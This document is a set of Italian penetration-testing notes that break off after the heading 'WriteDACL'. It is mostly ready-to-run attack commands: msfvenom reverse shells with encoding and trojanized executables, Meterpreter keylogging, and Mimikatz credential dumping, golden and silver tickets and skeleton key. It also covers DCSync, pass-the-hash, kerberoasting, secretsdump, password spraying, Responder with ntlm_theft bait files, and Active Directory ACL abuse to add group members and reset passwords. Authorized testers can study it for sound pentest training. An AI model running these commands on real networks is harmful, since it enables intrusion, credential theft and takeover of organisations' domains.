<Numero> <tipo>/<OS>/<servizio>/<nome> #sintassi dei moduli in metasploit

ExploitDB e Metasploit:

Meterpreter non può contenere tutti gli exploit ma possiamo integrarli con payload custom o exploitDB:

Comandi:

searchsploit -u #comando che aggiorna searchsploit

searchsploit -t <nome exploit> --exclude="<nome estensione>" #comando che sfrutta la cli di exploitDB per ricercare i payload tramite titolo e esclusione dell'estensione

Una volta trovato l'exploit andrà importato come nell'esempio:

searchsploit PHP 5.4.3 - apache

Output comando:

PHP 5.4.3 - apache_request_headers Function Buffer Overflow (Metasploit) windows/remote/19231.rb

Ora prestiamo attenzione alla path "windows/remote/" perchè queste stesse cartelle andranno create nella directory "/usr/share/metasploit-framework/modules/exploits" quindi il risultato sarà "/usr/share/metasploit-framework/modules/exploits/windows/remote"; una volta create le directory andrà copiato lo script all'interno e avviato msfconole

sudo cp /usr/share/exploitdb/exploits/windows/remote/19231.rb /usr/share/metasploit-framework/modules/exploits/windows/remote/

msfconsole -m /usr/share/metasploit-framework/modules/

N.B: Metasploit utilizza solamente script in ruby ".rb"

Plugins:

I Pluging localizzatti in "/usr/share/metasploit-framework/plugins/" possono migliore e automatizzare dei processi, i plugin possono essere aggiunti manualmente da noi

Scripts:

Gli scrips li troviamo in "/usr/share/metasploit-framework/scripts/", tra cui "Meterpreter"

Tools:

Tool che si possono utilizzare con "msfconsole" si trovano in "/usr/share/metasploit-framework/tools/"

N.B: Appuntarsi almeno le path di ogni componente è importante se vogliamo aggiungere noi qualcosa manualmente

Comandi Msfconsole:

sudo apt update && sudo apt install metasploit-framework #comando per installare metasploit

history #comando per vedere l'history dei comandi

show #comando per listare i moduli

sessions -i <num sessione> #comando per riprendere ad utilizzare una sessione in background

search <nome generico o path specifica> #comando per ricercare in un modulo

ES: search exploit/unix/webapp/moinmoin_twikidraw o search moinmoin

use <path modulo o num della lista> #comando per utilizzare un modulo specifico

ES: use exploit/unix/webapp/moinmoin_twikidraw o use 1

info #comando che da informazioni sul modulo selezionato

show options #comando per vedere le opzioni da inserire nel modulo da utilizzare

show targets
set target <num target> #comando che funziona dopo aver selezionato un modulo, ci mostra i target affetti da un determinato exploit e ci permette di selezioarli

set <nome opzione> <valore opzione> #comando per settare l'opzione di un modulo selezionato

ES: set RHOSTS 1.1.1.1

unset all #comando per svuotare le varie opzioni settate

back #comando per uscire dal modulo selezionato e tornare alla msfconsole

exploit o run #comandi per avviare l'exploit o il modulo selezionato

Comandi Meterpreter:

background #comando che una volta stabilita una sessione la manda in background permettendoci di svolgere altre operazioni

ps #comando per listare i processi sulla target machine

migrate <pid processo> #comando per migrare da un processo ad un altro

getuid #comando per sapere user corrente

keyscan_start keyscan_dump keyscan_stop #comandi per iniziare, scaricare il dump e fermare il keylogger in metasploit

shell #comando per avviare una shell

load kiwi #comando per avviare mimikatz

execute -f <powershell/cmd.exe> <cosa eseguire> #comando per eseguire comandi interni

Comandi Payload:

msfvenom -a x64 -p windows/x64/exec CMD='<comando cmd>' -f <linguaggio> #comando per generare un payload che esegue un solo comando cmd

msfvenom -a x86 --platform Windows LHOST=<ip> LPORT=<porta> -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '<byte da escludere>' -i <num iterazione> -f <linguaggio> #comando che genera una revshell con obfuscazione

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<porta> -f exe --encrypt xor --encrypt-key "<chiave>" -o <nome eseguibile>.exe #comando per generare una revshell criptata

msfvenom -x <nome eseguibile falso>.exe -k -p windows/shell_reverse_tcp lhost=<ip> lport=<porta> -f exe -o <nome eseguibile>.exe #comando che genera una revshell all'interno di un finto eseguibile

Comandi DB metasploit:

Metasploit permette di utilizzare un db locale per tenere traccia dei propri progressi durante un PT

sudo systemctl start postgresql
sudo service postgresql status #comandi per avviare e controllare lo stato del db

sudo apt update && sudo msfdb init #comando per avviare l'istanza di MSF database

sudo msfdb status #comando per controllare lo stato del MSF database

sudo msfdb run #comando per runnare MSF database

sudo msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q #versione compatta dei comandi per ristartare in fretta il db

help database #comando per aprire l'help del database

workspace #comando per listare le workspace nel db, le workspace sono simili a cartelle contenenti tutti i dati da noi inseriti

workspace -h #comando per aprire l'help delle workspace

workspace -a/-d <nome> #comando per aggiungere/rimuovere una workspace

db_import <nome file> #comando per importare un file nel db

db_nmap -sV -sS <ip> #comando per eseguire nmap ed importare i risultati nel db

db_export -h #comando per aprire l'help

db_export -f xml <nome file>.xml #comando per esportare dal db

hosts -h #comando per aprire l'help di hosts, da cui possiamo aggiungere host, hostnames

services -h #comando per aprire l'help dei servizi dove possiamo aggiungerli anche manualmente

creds -h #comando per aprire l'help delle creds dove possiamo anche aggiungerle manualmente

loot -h #comando per aprire l'help di loot, il quale ci da una panoramica delle informazioni recuperate

Comandi Reverse/Port forwarding e pivoting:

Viene scritta una piccola sezione di questi comandi perchè sono ricollegabili alla sezione di Port Forwarding

use auxiliary/server/socks_proxy #comando che usa il modulo socks_proxy
set SRVPORT 9050 #campo per indicare la porta 
set SRVHOST 0.0.0.0 #campo per indicare indirizzo ip 
set version 4a #campo che indica la versione
run #comando per avviare il modulo

N.B: Prestare attenzione alla versione selezionata nel modulo socks_proxy deve coincidere con quella nel file /etc/proxychains.conf

use post/multi/manage/autoroute #comando che avvia il modulo autorute, per impostare le route
set sesssions 1 #campo che indica la sessione da utilizzare
set SUBNET <ip> #campo che indica la subnet 
run #comando per avviare il modulo

run autoroute -s <ip route> #comando alternativo per aggiungere manualmente una route, lanciato da meterpreter
run autoroute -p #comando che lista la routing table, lanciato da meterpreter

help portfwd #comando che runnato in msfoconsole apre l'help per il portfwd
portfwd add -l <porta locale> -p <porta remota> -r <ip remoto> #comando che binda la porta locale a quella remota, lanciato da meterpreter
portfwd add -R -l <porta locale> -p <porta remota> -L <ip remoto> #comando utilizzato per una reverse shell via port forwarding e binda la porta locale a quella lanciato da meterpreter 
remota poi una volta attivata la revshell che andrà a puntare prima alla porta remota che poi tramite forward arriverà alla nostra macchina

ES: portfwd add -l 3300 -p 3389 -r 192.168.9.1

freerdp /v:localhost:3300 /u:user /p:password

Ulteriore sottosezione con dei moduli utili per il pivoting e la scansione delle reti

run post/multi/gather/ping_sweep RHOSTS=<ip> #comando utile per la scansione di host tramite il comando ping, lanciato da meterpreter

ES: run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/24

N.B: Prestare attenzione ai bit dedicati agli utenti nella subnet

Powerview:

Powerview, facente parte del framework Powersploit è uno script molto utile nella fase di recognition ed enumerazione

Comando per scaricare PowerView.ps1 sulla macchina e avviarlo:

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
powershell -ep bypass
. .\PowerView.ps1

dopo aver avviato powerview abbiamo a disposizione dei comandi aggiuntivi per un'enumerazione completa della macchina vittima:

Get-NetUser #comando che ottiene le informazioni sugli utenti

Get-NetUser | select cn #comando per ottenere solo il common name

Get-NetUser -TrustedToAuth #comando per ottenere gli utenti che possono autenticarsi tramite trust o delegation

Get-NetGroup #comando che ottiene tutti i gruppi presenti a dominio

Get-NetGroup -GroupName *admin* #comando che ottiene tutti i gruppi in cui è presente la parola admin

Invoke-ShareFinder #comando che ottiene tutte le shares smb del dominio

Get-NetComputer -FullData #comando che ottiene tutte le informazioni su tutti i pc della rete

Get-NetComputer -FullData | Select-Object logoncount #comando per ridurre l'output da parsare selezioniamo l'oggetto specifico come in questo caso per gli accessi

Get-DomainUser -Identity <sam account> | Get-DomainSPNTicket -Format Hashcat #comando per recuperare hash account SPN

Add-DomainObjectAcl -targetidentity "DC=<subdomain>, DC=<top_level_domain>" -principalidentity <nome_utente> -Rights DCSync -verbose 
#comando per aggiungere un oggetto alle ACL

Sopra vengono riportati i comandi utilizzati più di frequente, per una visione più completa dei comandi andare qui.

Bloodhund:

Bloodhound è un tool che permette l'organizzazione delle informazioni ottenute dalla fase di recognition del'AD per utilizzarlo avremmo bisogno di due tools: bloodhound

sudo apt install docker-compose #comando per installare docker-compose

curl -o docker-compose.yml https://raw.githubusercontent.com/SpecterOps/bloodhound/main/examples/docker-compose/docker-compose.yml && sudo docker-compose -f docker-compose.yml up #comando per scaricare e avviare il docker di bloodhund

Una volta avviato navighiamo all'indirizzo "http://localhost:8080/ui/login" con le credenziali admin:password generata dall'output del docker quando viene avviato, una volta entrati dobbiamo modificare la password con una nostra nuova

Sharphound:

Sharphound, script .ps1 o eseguibile che vanno caricati sulla target machine che servirannò a mappare l'AD target:

Comandi del .ps1:

. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory "<Path della cartella dove salvare lo zip>" #comando per salvare il .zip

Comandi del .exe:

. .\SharpHound.exe #comando per avviare l'eseguibile di sharphound

Una volta generato il .zip, lo trasferiamo nella nostra macchina e lo unzippiamo ed infine per caricalo andiamo in "Settings-> Administration-> File Ingest-> Upload files"

Allegati qui abbiamo i 2 eseguibili che hanno il compito di raccogliere i dati per Bloodhund e sono:

SharpHound, utilizzato per l'AD
AzureHound, utilizzato per il cloud Azure

N.B: Possiamo scaricare entrambi i collectors nella sezione "Settings-> Download Collectors"

Mimikatz:

Mimikatz è utilizzato per recuperare hash, password, recupero e creazione di ticket kerberos, per scaricalo andare qui.

Consigliamo di utilizzare mimikatz integrato con meterpreter per una maggiore praticità.

N.B: Alcuni di questi comandi richiedono che venga disattivato LSA del LSASS.

Comandi:

privilege::debug #comando per assicurarsi di runnare mimikatz come amministratore

token::elevate #comando che tenta di elevare i privilegi

lsadump::lsa /patch #comando per recupere NTLM hash

lsadump::sam #comando che tenta il dump del SAM

lsadump::dcsync /domain:<nome dominio> /all #comando che esegue il dcsync attack su tutti gli utenti

sekurlsa::pth /user:<nome utente> /domain:<nome dominio> /ntlm:<ntlm hash> #comando per eseguire il pass-the-hash

sekurlsa::logonpasswords #comando che tenta di recuperare le password in cache

sekurlsa::credman #comando che tenta di recuperare le password dal credmanager

sekurlsa::tickets /export #comando per esportare i .kirbi tickets e li recupera da LSASS memoria

sekurlsa::ekeys #comando che tenta di recuperare le kerberos keys e le password annesse

sekurlsa::minidump lsass.dmp #comando che se abbiamo la possibilità di dumpare LSASS permette di recuperare le password da esso

misc::cmd #comando per aprire un cmd

kerberos::list #comando per listare i ticket kerberos nel sistema

kerberos::ptt <ticket> #comando per fare il pass the ticket

log <nome file>.txt #comando per creare un file di log

Golden ticket si ha accesso a tutti i servizi del kerberos.

kerberos::golden /user: /domain: /sid:<sid utente> /krbtgt:<NTLM utente> /id:<id utente> #comando per creare un golden ticket

kerberos::golden /admin:<nome admin> /domain:<dominio> /id:<id> /sid:<sid utente> /krbtgt:<NTLM hash> /endin:<minuti durata del ticket> /renewmax:<minuti per il rinnovo del ticket> /ptt #comando che crea sempre un golden ticket ma più completo di varie opzioni

Silver ticket si ha accesso ad un servizio del kerberos è più silenzioso del golden.

kerberos::golden /user: /domain: /sid:<sid servizio> /krbtgt:<NTLM servizio> /id:<id servizio> #comando per creare un silver ticket

kerberos::golden /admin:<nome admin> /domain:<dominio> /id:<id> /sid:<sid servizio> /target:<hostname del dominio> /rc4:>NTLM hash> /service:<servizio> esempio CIFS /ptt #comando che crea sempre un 	 
silver ticket ma più completo di varie opzioni

Comandi per creare la skeleton key

!+ #comando mimikatz che importa mimidrv.sys

!processprotect /process:lsass.exe /remove #comando per disattivare la protezione del LSA

misc::skeleton #comando per creare la skeleton key

!- #comando per rimuovere mimidrv.sys

Comandi per i certificati AD

crypto::certificates /systemstore:local_machine #comando per la verifica di certificati nella local machine

crypto::capi #comando che utilizza la API CryptoAPI per delle modifiche

crypto::cng #comando che modifica il KeyIso di windows

crypto::certificates /systemstore:local_machine /export #comando per esportare il certificato

_Variante in powershell:

Esiste disponibile anche la variante scritta in powershell

Impacket:

Impacket è una suite di script in python molto utili per il pentesting dell'AD, qui di seguito ne vengono presentati e spiegati alcuni

sudo pip3 install pipx
python3 -m pipx install impacket

GetUserSPNs.py #comando che sfrutta la vulnerabilità di kerberoasting per ottenere gli SPN(Service Principal Name) dei vari servizi, servono credenziali valide

ES:

GetUserSPNs.py -dc-ip <ip> <dominio>/<utente>

GetUserSPNs.py -dc-ip <ip> <dominio>/<utente> -request-user <utente>

GetUserSPNs.py -dc-ip <ip> <dominio>/<utente> -hashes <hash> -request-user <utente>

GetUserSPNs.py <nome dominio>/ -usersfile users.txt

GetNPUsers.py #comando che sfrutta la misconfigurazione di utenti che non hanno settata la flag UF_DONT_REQUIRE_PREAUTH del kerberos cioè autenticarsi senza richiedere la password

ES:

GetNPUsers.py <nome dominio>/<nome account> -no-pass

GetNPUsers.py <nome dominio>/ -usersfile users.txt

secretsdump.py #comando che recupera le credenziali dal System, Sam e ntds.dit

ES:

secretsdump.py -dc-ip <ip_del_domain_controller> <nome_account>:<passoword>@<ip_domain_controller>

secretsdump.py -sam sam.bak -system system.bak LOCAL

secretsdump.py -just-dc <dominio>/<utente>@<ip domain controller>

ntlmrelayx.py #comando utilizzato per condurre attacchi di tipo relay

ES:

ntlmrelayx.pyx -6 -t ldaps://<ip_target> -wh wpad.<dominio> -l <directory dove salvare>

ntlmrelayx.pyx -t ldaps://<ip> <dominio>/<utente> --dump-laps

addcomputer.py #comando per aggiungere un computer a dominio

ES: addcomputer.py -dc-ip <domain controller ip> -computer-name <nome computer> -computer-pass '<password>' <nome tdl dominio>:<username>:<password>

smbserver.py #comando per startar un smb server

ES: smbserver.py <Nomeshare da inserire nel comando di upload> -smb2support <share locale che condividi>

mssqlclient.py #comando per connettersi ad un db

ES:

mssqlclient.py <nome utente sql>@<ip> -windows-auth

help

enable xp_cmdshell

xp_cmdshell whoami /priv

exchanger.py #comando per connettersi ad un windows exchange

ES: exchanger.py <dominio>/<nome utente>:"<password>"@<mail> nspi list-tables

samrdump.py #comando che tramite il samr (Security Account Manager Remote) named pipe tenta di recuperare delle informazioni

ES: samrdump.py <ip>

smbpasswd.py #comando che da remota cambia la password di un account

ES: smbpasswd.py <dominio>/<utente target>:<password vecchia>@<ip> -newpass <nuova password>

rpcdump.py #comando per dumpare le informazioni dal protocollo RPC

ES: rpcdump.py -port 135 <ip>

gMSADumper.py #comando che dumpa le credenziali gMSA

ES: gMSADumper.py -u <nome utente> -p <password> -d <dominio>

DumpNTLMInfo.py #comando per recuperare informazioni relative agli NTLM hash

ES: DumpNTLMInfo.py <dominio>/nome utente>:'<password>'@'<ip>'

findDelegation.py #comando che passando in input credenziali permette di visionare le kerberos delegation

ES: findDelegation.py <dominio>/<user>:<password>

atexec.py #comando che permette di creare ed eseguire immediatamente un task schedulato via SMB

ES: atexec.py <dominio>/nome utente>:'<password>'@'<ip>' <comando da eseguire>

psexec.py #comando simile a psexec della suitesysinternal che permette di inviare comandi da remoto

ES: psexec.py <dominio>/<nome utente>:'<password>'@<ip>

wmiexec.py #comando che si connette tramite wmi, crea una shell semi-interattiva e a livello di log causa poco rumore

ES: wmiexec.py <dominio>/<nome utente>:'<password>'@<ip>

dcomexec.py #comando che permette l'esecuzione di ulteriori comandi da remoto tramite il protocollo dcom

ES: dcomexec.py -object 'MMC20' <dominio>/<utente>:<password>@<ip_target> '<comando>' -nooutput

Hashcat:

Hashcat è il più famoso tool di cracking per le password, può essere scaricato qui

Comandi generali:

sudo apt install hashcat #comando per installare hashcat

hashcat -h #comando per aprire l'help di hashcat

hashcat <nome file hash> #comando per far partire l'autorilevamento di hash del tool

hashcat --example-hashes #comando per aprire gli esempi di hashes

hashcat -b -m <num hash> #comando per attivare il benchmark su un tipo di hash

hashcat.potfile #path file dove vengono salvati gli hash craccati

Link agli hashcat-utils, bianri che possono ampliare l'utilizzo di hashcat

Attacco a dizionario:

L'attacco a dizionario (num 0) consiste nel provare tutte le password provenienti da una wordlist, le più famose sono la Seclists o Rockyou

Comandi:

hashcat -a 0 -m <num hash> <file hash> <wordlist di password> #comando che avvia l'attacco a dizionario, la flag "-a" indica il tipo di attacco

Attacco combinato:

L'attacco combinato (num 1) è composto da due wordlist di password che vengono poi combinate insieme per eseguire un attacco a dizionario

Comandi:

hashcat -a 1 -m <num hash> <file hash> <wordlist di password num 1> <wordlist di password 2> #comando che avvia l'attacco combinato

Attacco a forza bruta:

L'attacco a forza bruta (num 3) consiste nel provare tutte le combinazioni possibili finchè non ritorna l'hash esatto, questo attacco diviene nullo se la password è lunga di molti caratteri, una metodologia per ridurre i tentavi è l'aggiunta della maschera, consiste nel creare una propria pattern di caratteri per poter craccare al meglio una password, utilizzando un proprio set si va a diminuire drasticamente il numero totale di possibili tentavi

Tabella con i caratteri per l'attacco a maschera:

?u: Lettere maiuscole ASCII (A-Z)

?l: Lettere minuscole ASCII (a-z)

?h: Caratteri esadecimali minuscoli (0123456789abcdef)

?s: Caratteri speciali («spazio»!"#$%&'()*+,-./:;<=>?@[]^_{`)

?H: Caratteri esadecimali maiuscoli (0123456789ABCDEF)

?b: Tutti i byte da 0x00 a 0xff (256 possibili byte)

?d: Cifre (0-9)

ES: Password da craccare = Abete2022 -----> Maschera creata = ?u?l?l?l?l?d?d?d?d

N.B: Nell'esempio di sopra per fare capire il concetto viene utilizzata una password molto semplice ma non sempre sarà cosi

Comandi:

hashcat -a 3 -m <num hash> <file hash> <num charset che va da 1 a 4> <charset> <pattern della maschera scelta> #comando per avviare l'attacco a maschera

ES: hashcat -m 0 -a 3 hash -1 01 'HELLO?l?l?l?l20?1?d'

Attacco Ibrido:

L'attacco ibrido "(num 6-7)" consiste nell'insieme di utilizzare altri tipi di attacchi in un unico

Comandi:

hashcat -a 6 -m <num hash> <hash> <wordlist password> <pattern della maschera scelta> #comando 6 che combina attacco a dizionario con attacco a maschera

hashcat -a 7 -m <num hash> <hash> <pattern della maschera scelta <wordlist password> #comando 6 che combina attacco a dizionario con attacco a maschera

Attacco con le regole:

L'attacco con le regole è uno dei più avanzati in quanto a seconda del pattern scelto andremo ad applicare delle modifiche alla wordlist iniziale la quale in seguito ci ritornerà un'output diverso

Tabella delle funzioni:

l: Converti tutte le lettere in minuscolo.
u: Converti tutte le lettere in maiuscolo.
r: Inverte il testo.
c / C: Capitalizza la prima lettera e converte le altre in minuscolo / converte la prima lettera in minuscolo e le altre in maiuscolo.
{ / }: Ruota la parola a sinistra / destra.
d / q / zN / ZN: Duplica la parola / tutti i caratteri / primo carattere / ultimo carattere / N caratteri dalla parola.
^X / $X: Aggiungi il carattere X all'inizio / alla fine del testo.
t / TN: Cambia il caso di tutta la parola / alla posizione N nella parola (dove la prima posizione è 1).

N.B: La lista completa è disponibile qui

Comandi:

echo '<set regole>' > rule.txt #comando per creare le regole e salvare in un txt

hashcat -a 0 -m <num hash> <nome file hash> <wordlist password> -r <file regole> #comando per avviare l'attacco con le regole

hashcat -a 0 -m <num hash> -g <numero regole casuali> <nome file hash> <path file wordlist> #comando per applicare regole randomiche

ls -l /usr/share/hashcat/rules/ #comando per listare le regole di default per hashcat

Link a risorse:

Link per recuperare altre regole da utilizzare con hashcat

NSA-Rules

Corporate.rule

Cracking Wifi:

Hashcat permette di craccare anche le password delle wifi

N.B: l'attacco richieda che venga catturato l'handshake in un packet capture

Comandi cracking MIC (Message Integrity Check):

Il pcap catturato va convertito in un formato leggibile da Hashcat o utilizziamo il seguente sito o scarichiamo il tool

git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src
make #comandi per installare la util

./cap2hccapx.bin <file pacchetti catturati>.cap <file per hashcat>.hccapx #comando per convertirlo in formato hccapx

hashcat -a 0 -m 22000 <file>.hccapx <file wordlist> #comando per craccare la password con attacco a forza bruta

Comandi cracking PMKID (Pairwise Master Key Identifier)

Questa metodologia richiede che venga sempre catturata la PMKID in un packet capture e poi convertito in un formato comprensibile ad hashcat

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make && make install #comandi per insttalre in tool hcxpcapngtool

hcxpcapngtool <file pacchetti catturati>.cap -o <file per hashcat> #comandi per convertire il .cap

hashcat -a 0 -m 22000 <file>.hccapx <file wordlist> #comando per craccare la password con attacco a forza bruta

Creazione di wordlists:

Il saper creare le wordlists è molto importante questa sezione oltre a focalizzarsi in wordlists di password ci saranno scritti anche tool/script per generare liste di usernames

Crunch:

Crunch permette di generare delle password definendo lunghezza minima, massima e pattern da applicare

Comandi:

crunch <lunghezza minima> <lunghezza massima> <pattern % indica numeri @ indica lettere> -o <nome file output> #comando completo per generare una wordlist con crunch

Cupp:

Cupp altro tool per generare una wordlist ma permette di farlo in maniera più precisa su un determinato utente, in quanto lo stesso tool chiederà domande specifiche dello user target al fine di creare una lista più completa possibile

Comandi:

cupp -i #comando per startare cupp, andrà data una risposta alle sue domande per generare la wordlist

Kwprocessor:

Kwprocessor, il seguente tool genera delle wordlists seguendo l'idea di "camminare sulla tastiera", cioè un utente che per creare una sua password abbia semplicemente premuto tasti a caso su di essa

Comandi:

git clone https://github.com/hashcat/kwprocessor
cd kwprocessor
make #comandi per installare e settare il tool

/kwp -s <numeri shift> basechars/<base di caratteri da utilizzare> keymaps/<layout tastiera> routes/<pattern da seguire> #comando per settare Kwprocessor

N.B: Maggiori Info andare qui

PrinceProcessor:

Il tool PrinceProcessor genera una wordlist combinata cioè gli viene passata una lista di password singole e il tool le combina insieme

Comandi:

wget https://github.com/hashcat/princeprocessor/releases/download/v0.22/princeprocessor-0.22.7z
7z x princeprocessor-0.22.7z
cd princeprocessor-0.22
./pp64.bin -h #comandi per installare il tool

./pp64.bin --pw-min=<num minimo lunghezza> --pw-max=<numero massimo lunghezza> -o <nome file output> <wordlist input> #comando per generare la wordlist

Namemash:

script in python che genera una lista di usernames utilizzando nome e cognome, è scaricabile qui

Comandi:

namemash.py <nome file>.txt >> <nome file dove salvare>.txt #comando per utilizzare Namemash

Cewl:

Il tool Cewl genera le wordlist facendo il crawling di un sito web target e leggendo delle parole chiavi, quest'ultime verranno inserite nella wordlist

Comandi:

cewl -d <profondità di spidering> -m <lunghezza minima wordlist> -w <file output> <Url sito target> #comando per avviare il tool

CrackMapExec:

Tool molto utile nel pentesting di AD è CrackMapExec è utilizzato con i protocolli (smb, winrm, ldap, mssql e ssh) e da il suo meglio con i suoi comandi per enumerare e capire meglio il target

Comandi installazione:

python3 -m pip install pipx
pipx ensurepath
pipx install crackmapexec #comandi per installare crackmapexec

Comandi:

crackmapexec smb <nome dominio o ip> -u <'nome utente' | users list> -p <'password' | passwords file> --continue-on-success #comando che valida gli username e password facendo uno spraying

cme smb <ip>/24 -u <nome utente> -p <password> --local-auth #comando che esegue il local auth su una subnet di hosts

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --rid-brute #comando che lista gli utenti tramite rid-brute

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --shares #comando che lista tutti gli shares e i relativi permessi

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' -M spider_plus #comando che sfrutta il modulo spider plus per listare i subshares nel smb

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --pass-pol #comando per listare le politiche delle password all'interno del dominio

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --loggedon-users #comando per listare gli utenti che sono loggati

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --groups #comando che lista i gruppi di dominio

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --localgroups #comando che lista i gruppi locali

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --disks #comando che lista i dischi

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' --sessions #comando che lista le sessioni

Comandi per esecuzione da remoto tramite CrackMapExec:

crackmapexec <nome dominio o ip> -u '<nome utente>' -p '<password>' -x '<comando da eseguire>' #comando per eseguire da remoto

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '<password>' -X '<comando da eseguire>' --exec-method wmiexec #comando per eseguire comando da remoto via wmiexec

N.B: la flag -p è utilizzata per comodità ma può essere tranquillamente sostituito dalla flag -H che viene utilizzato per l'autenticazione con gli hash

Responder:

Responder tool molto utile negli attacchi MITM, poisoning di servizi e recupero di NTLM hash

sudo responder -I <interfaccia di rete> #comando per avviare responder

Abbiamo persino la possibilià di utilizzarlo in Metasploit:

msfconsole
use auxiliary/analyze/capture/responder
set RHOSTS <target-IP>
set INTERFACE <interface>
run #comandi per avviare msfconsole e utilizzare responder

Esiste anche una sua versione in windows scaricabile qui

Alternativa:

Inveigh script in powershell molto simile a responder

Import-Module .\Inveigh.ps1 #comando per importare il .ps1 Inveigh

(Get-Command Invoke-Inveigh).Parameters #comando per aprire l'help dei comandi

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y #comando completo dello script

Attacchi vari:

NTLM-theft:

Responder da il suo meglio quando si parla di intercettare gli NTLM hash, può capitare in un rete target che ci sia attiva in qualche share SMB dell'attività di qualche utente, posizionando un finto file e attivando responder possiamo recuperare delle credenziali

Comandi:

sudo responder -I <interfaccia di rete> #comando per avviare responder

Ora tramite il tool ntlm_theft.py possiamo creare i file malevoli

pip3 install xlsxwriter
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft #comandi per installare ntlm_theft

python3 ntlm_theft.py -g all -s <indirizzo ip responder> -f <nome cartella output> #comando che genera tutti i tipi di file malevoli

Infine caricare il file nello share SMB e aspettare

N.B: il tool supporta diverse estensioni di file, visionarle nell'help del tool stesso o nella sua repository

DACL attacks:

La teoria delle DACL la si trova sotto la sezione Secure descriptor

viene riportata una piccola lista/metodologia di attacchi alla discretionary access list, piccola perchè sono molteplici le ACE che possono essere sfruttate:

Enumerazione:

Prima di poter sfruttare le ACE vulnerabili vanno trovate tramite la fase di enumerazione che può essere manuale o automaticaa tramite dei tools

Comandi Powershell:

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > <nome file output>.txt #comando che genera la lista di user presenti nel sistema

foreach($linea in [System.IO.File]::ReadLines("<path file lista utenti>")) {get-acl "AD:\$(Get-ADUser $linea)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match '<dominio>\\<nome utente target>'}} #comando che tramite loop legge gli utenti nella lista per poi andare a recuperare le loro ACL ed infine controllare se la voce "IdentityReference" combaci con l'utente target

Dal comando sopra avremmo ottenuto alla voce "ObjectType" il guid dell'ACE e che se cercato al volo su internet potrà essere collegato a quale entrie sfruttare

Utilizzo di Directoryservices e ActiveDirectorySecurity:

Directoryservices e ActiveDirectorySecurity sono due classi che fanno parte di due diversi namespace .NET e sono rispettivamente "System.DirectoryServices" e "System.DirectoryServices.ActiveDirectory", la loro combinazione permette di controllare le ACL e ulteriormente i permessi che ha un user su altri oggetti

Comandi:

$directorySobject = New-Object System.DirectoryServices.DirectorySearcher('(samaccountname=<nome utente>)') #comando che crea un'oggetto directory searcher e applica un filtro in base al sam name

$directoryobject.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl -bor [System.DirectoryServices.SecurityMasks]::Owner #comando che imposta la security mask e va a vedere quello di dacl e owner

$binarySecDescriptor = $directoryobject.FindOne().Properties.ntsecuritydescriptor[0] @comando che esegue una ricerca tramite directoryobject e recupera la proprietà ntsecuritydescriptor

Write-Host -NoNewline $binarySecDescriptor #comando che memorizza e prompta il binario

$parsedSecyDescriptor = New-Object System.DirectoryServices.ActiveDirectorySecurity #comando per creare un nuove oggetto System.DirectoryServices.ActiveDirectorySecurity

$parsedSecDescriptor.SetSecurityDescriptorBinaryForm($binarySecuDescriptor)$parsedSecDescriptor.Access #comando che imposta il formato in binario del security descriptor

$parsedSecDescriptor.Access #comando che restituisce le ACE

$parsedSecurityDescriptor.Access | Where-Object {$_.IdentityReference -like '<nome utente>'} #comando che filtra la ricerca in base al nome scritto

N.B: l'enumerazione manuale è sicuramente più stealth di un tool automatico ma la sua efficacia nella ricerca è limitata

Powerview:

Il tool Powerview permette di enumerare le ACE in maniera automatica:

Comandi:

Find-InterestingDomainAcl #comando powerview per enumerare automaticamente le ACE più interessanti

abbiamo la possibilità di farlo anche in un metodo più manuale ma più accurato nella ricerca

$sid = Convert-NameToSid <nome oggetto> #comando per convertire il nome oggetto (nomi utenti gruppi) in sid

Get-DomainObjectACL -ResolveGUIDs -Identity <nome target> | ? {$_.SecurityIdentifier -eq $sid} #comando che recupera tutte le ACE e che ci mostra quelle dell'utente target

Una volta eseguito il comando sono 2 le voci da tenere d'occhio la prima "ObjectDN" che indica l'oggetto target e la seconda "ObjectAceType" che specifica il tipo di ace a nostra disposizione

Dacledit:

Dacledit permette di listare o modificare le DACL da remoto

N.B: dacledit va scaricato apparte dalla impacket suite in quanto è attualmente sotto revisione

Comandi:

git clone https://github.com/ShutdownRepo/impacket -b dacledit
cd impacket
python3 -m venv .dacledit
source .dacledit/bin/activate
python3 -m pip install . #comando per installare dacledit

python3 dacledit.py -target <DN> -dc-ip <ip target> <dominio>/<nome utebte>:<password> #comando per listare le DACL di un utente

Bloodhund:

Bloodhund offre la possibilità nella sezione "node info" di poter visionare le ACE sfruttabili ed addirittura in che manoiera andando nella sezione "Help" presente quando si tocca la linea che collega i nodi nel grafico

GenericAll:

ACE che permette il controllo totale sull'oggetto, possiamo cambiare password, aggiungere SPN ecc... Da essa derivano le sotto sezioni: WriteDacl, WriteProperties, All.ExtendedRights e WriteOwner

Comandi:

Add-ADGroupMember -Identity "<nome gruppo>" -Members <nome membro> #comando per aggiungere utente ad un gruppo

$Password = ConvertTo-SecureString "<password>" -AsPlainText -Force
Set-ADAccountPassword -Identity "<nome utente>" -Reset -NewPassword $Password #comandi per settare una nuova password

N.B: La logica adottata per mappare le sezioni è quella della seguente foto

WriteDACL

